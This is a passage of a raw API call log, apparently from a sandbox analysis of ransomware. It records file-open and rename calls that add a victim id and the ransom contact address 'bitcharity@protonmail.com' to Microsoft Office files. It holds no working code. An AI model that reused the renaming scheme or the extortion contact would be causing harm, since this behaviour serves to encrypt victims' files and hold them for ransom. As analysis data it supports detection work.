hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART3.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart3.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.672] CloseHandle (hObject=0x127c) returned 1 [0267.673] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.673] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART4.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart4.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.673] CloseHandle (hObject=0x127c) returned 1 [0267.674] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.674] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART5.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart5.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.675] CloseHandle (hObject=0x127c) returned 1 [0267.676] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.676] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART6.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart6.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.677] CloseHandle (hObject=0x127c) returned 1 [0267.677] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.678] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART7.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart7.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.678] CloseHandle (hObject=0x127c) returned 1 [0267.679] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.679] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART8.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart8.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.680] CloseHandle (hObject=0x127c) returned 1 [0267.681] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.681] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART9.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart9.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.681] CloseHandle (hObject=0x127c) returned 1 [0267.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.688] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.688] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CommunicatorContentBinApp.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\communicatorcontentbinapp.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.688] CloseHandle (hObject=0x127c) returned 1 [0267.692] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.693] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\DELIMR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\delimr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.693] CloseHandle (hObject=0x127c) returned 1 [0267.927] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.927] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLADDR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\oladdr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.927] CloseHandle (hObject=0x1240) returned 1 [0267.928] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.928] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excel.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.928] CloseHandle (hObject=0x1240) returned 1 [0267.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.937] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.938] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\excelcnv.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excelcnv.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.938] CloseHandle (hObject=0x1240) returned 1 [0267.939] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.939] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ExtensibleApp.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\extensibleapp.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.940] CloseHandle (hObject=0x1240) returned 1 [0267.946] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.946] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\activitl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.946] CloseHandle (hObject=0x1240) returned 1 [0267.947] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.947] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\activits.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.947] CloseHandle (hObject=0x1240) returned 1 [0267.948] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.948] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\ACTIVITY.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\activity.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.948] CloseHandle (hObject=0x1240) returned 1 [0267.949] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.949] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\appt.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.949] CloseHandle (hObject=0x1240) returned 1 [0267.950] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.950] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\apptl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.950] CloseHandle (hObject=0x1240) returned 1 [0267.951] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.951] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\APPTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\appts.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.951] CloseHandle (hObject=0x1240) returned 1 [0267.952] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.952] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFNOT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\cnfnot.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.952] CloseHandle (hObject=0x1240) returned 1 [0267.954] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.954] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFNOT.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\cnfnot.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.954] CloseHandle (hObject=0x1240) returned 1 [0267.956] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.956] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CNFRES.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\cnfres.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.956] CloseHandle (hObject=0x1240) returned 1 [0267.957] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.957] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONFLICT.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\conflict.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.957] CloseHandle (hObject=0x1240) returned 1 [0267.958] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.959] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACT.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\contact.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.959] CloseHandle (hObject=0x1240) returned 1 [0267.959] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.960] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\contactl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.960] CloseHandle (hObject=0x1240) returned 1 [0267.961] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.961] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\CONTACTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\contacts.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.961] CloseHandle (hObject=0x1240) returned 1 [0267.962] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.962] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLIST.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\distlist.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.962] CloseHandle (hObject=0x1240) returned 1 [0267.965] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.965] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLSTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\distlstl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.966] CloseHandle (hObject=0x1240) returned 1 [0267.967] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.967] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DISTLSTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\distlsts.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.967] CloseHandle (hObject=0x1240) returned 1 [0267.968] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.968] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOC.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\doc.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.968] CloseHandle (hObject=0x1240) returned 1 [0268.553] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.554] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\DOCL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\docl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.791] CloseHandle (hObject=0x1078) returned 1 [0268.796] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.796] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\reportl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 